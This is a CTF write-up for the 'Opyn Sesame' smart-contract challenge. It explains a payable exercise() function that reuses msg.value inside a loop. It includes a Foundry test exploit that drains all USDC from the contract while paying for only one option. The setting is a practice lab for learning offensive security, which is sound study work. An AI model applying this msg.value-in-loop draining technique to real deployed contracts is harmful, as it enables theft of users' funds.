This is the #17 challenge of Mr Steal Yo Crypto. I will try to explain how to find the vulnerability.
A set of challenges to learn offensive security of smart contracts. Featuring interesting challenges loosely (or directly) inspired by real world exploits.
Created by @0xToshii.
I used the foundry version for this CTF: mr-steal-yo-crypto-ctf-foundry.
Opyn Sesame
There’s an OptionsContract which allows users to issue ETH-USDC put options. It represents the premium for a given series of options as an ERC20 token, allowing for AMM pricing and liquidity.
So far 5 users have used the contract and sold put options.
Your task is to take all the USDC from the contract.
Review of the contracts
OptionsContract.sol
It implements the logic of OptionLogic.sol and adds a function for creating a vault, sends USDC as collateral, sells the freshly minted oTokens to the market contract. This function is used by users who want to issue ETH-USDC put options. Nothing interesting for the moment.
OptionsMarket.sol
The only function callable by us is purchase()
. With this function, we are able to buy n
amount of oTokens for n * price
of USDC (the setPrice
is defined by the owner). Nothing interesting for the moment.
Test file and OptionLogic.sol
This time, I tried something new. We want to take all the USDC from the contract. I decided to do the reverse method. Start from where USDC is transferred to the user and go back to the original function that the user called. The function where we transfer USDC to the user is transferCollateral()
, let’s start our research.
The function is used in redeemVaultBalance()
, if we want collateralToTransfer
very high. We need vault.collateral
also high. The only time where vault.collateral
is updated (increasing) is in addERC20Collateral()
. However, before we can set vault.collateral
as a high value, we need to send a big amount of USDC before. To conclude, this is not possible.
The function transferCollateral()
is also called in _exercice()
.
To make it quicker, before getting some USDC, we need to burn some oTokens and send enough ether for passing the requirement at L299.
_exercice()
is called in exercice()
and WAIT! _exercice()
is called inside a loop. It means it’s the same vulnerability as challenge #16!?
The Vulnerability
The contract has a vulnerability similar to the one in challenge #16 — Extractoor. If we have a function that is payable, makes a loop, and has msg.value
, there is a vulnerability.
Exploit the vulnerability
This is certainly the same type of exploit as challenge #16 — Extractoor.
If we are able to loop with the same msg.value
through exercise()
, then we can drain the USDC one more time:
- Buy as much oTokens as we can (5e18). Is 5e18 enough? Yes, because every vault has only 1e18 oTokens.
- Call
exercise()
and exercise the option on all current vaults. As we are in a loop insideexercise()
, themsg.value
at L299 will always be the amount of value that we are sending. - We are able to exercise options without paying the execution with ether (we bypass L299). That’s how we are able to take all the USDC.
Here is a quick solution:
// solves the challenge
function testChallengeExploit() public {
vm.startPrank(attacker, attacker);
// implement solution here
usdc.approve(address(optionsMarket), 500e18);
// Buy oTokens as much as we can
optionsMarket.purchase(5e18);
console.log("amount of oTokens for vault_1:", optionsContract.maxOTokensIssuable(2_000e18));
// Each vault has 1e18 oTokens and we bought 5e18 oTokens, we are good
uint256 value = optionsContract.underlyingRequiredToExercise(1e18);
// For 1e18 oTokens exercise, we need to send 1 ether
value = optionsContract.underlyingRequiredToExercise(5e18);
console.log("amount of ether that we need to send:", value);
// For 5e18 oTokens exercise, we need to send 5 ether
// However, `exercise()` uses a loop for exercising the 5e18 oTokens (1e18 per vault), so we can send only 1 ether
// With only 1 ether, we will exercise 5e18 oTokens and thus get all the USDC
optionsContract.exercise{value: 1 ether}(5e18, addresses);
vm.stopPrank();
validation();
}
You can check my test file [here](https://github.com/gp-ngmi/mr-steal-yo-crypto-ctf-foundry/blob/implement/test/17
-opyn-sesame.sol).
Honestly, I was lucky for this challenge. If I didn’t do the challenge #16, I don’t think that I would have found a solution so “easily”. I can add that I didn’t deep dive into the oTokens logic around their price and how I’m able to “bypass” the _burn
.
Acknowledgement
Thank you https://stermi.xyz/ for inspiring me to write articles on CTF ^^.